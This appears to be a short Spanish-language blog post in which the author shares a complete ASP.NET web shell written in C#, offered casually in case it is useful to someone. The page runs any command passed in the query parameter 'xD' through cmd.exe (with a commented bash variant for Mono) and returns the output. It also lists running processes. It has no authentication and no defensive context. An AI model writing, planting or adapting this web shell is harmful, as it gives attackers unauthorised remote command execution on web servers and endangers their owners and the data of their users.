Una Shell en asp.net en 3 patadas xD

el otro día como no tenia internet y el grado de ocio era grande, me puse a escribí un par de cosas comparto una de ellas con los lectores del blog creo que no son muchos xD.

<%@ Page Language="c#" ContentType="text/plain" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Diagnostics" %>

<script language="C#" runat="server">
	string exec(string comm) {
        // en linux con mono
        //ProcessStartInfo info = new ProcessStartInfo("/bin/bash", "-c " + comm);
        //en windows
        ProcessStartInfo info = new ProcessStartInfo("cmd", @"/C " + comm);
	    info.RedirectStandardOutput = true;
            info.UseShellExecute = false;
            info.CreateNoWindow = true;

        Process p = new Process();
            p.StartInfo = info;
            p.Start();

        string processResults = p.StandardOutput.ReadToEnd();
            p.Close();

        return processResults;
    }

    void top() {
        System.Text.StringBuilder sb = new StringBuilder();
        Process[] processes = Process.GetProcesses();

        foreach (System.Diagnostics.Process process in processes){
            sb.Append(process.ProcessName);
            sb.Append(" - ");
            sb.Append(process.WorkingSet64 / 1000);
            sb.Append("KB\n");
        }
        Response.Write(sb.ToString());
    }

    protected override void OnLoad(EventArgs e) {
        string cmd = Request.QueryString["xD"];
        string ruta = Request.QueryString["ruta"];
        if ( cmd != "" ) {
            switch (cmd) {
                case "top": //lista los procesos del host
                    //Request.ContentType = "text/plain";
                    top();
                    break;
                default: // ejecuta el comando en el host
                    //Request.ContentType = "text/plain";
                    Response.Write(exec(cmd));
                    break;
            }
        }
        else Request.ContentType = "text/plain";
	}
</script>

haber si a alguien le sirve :P bytes

About the Author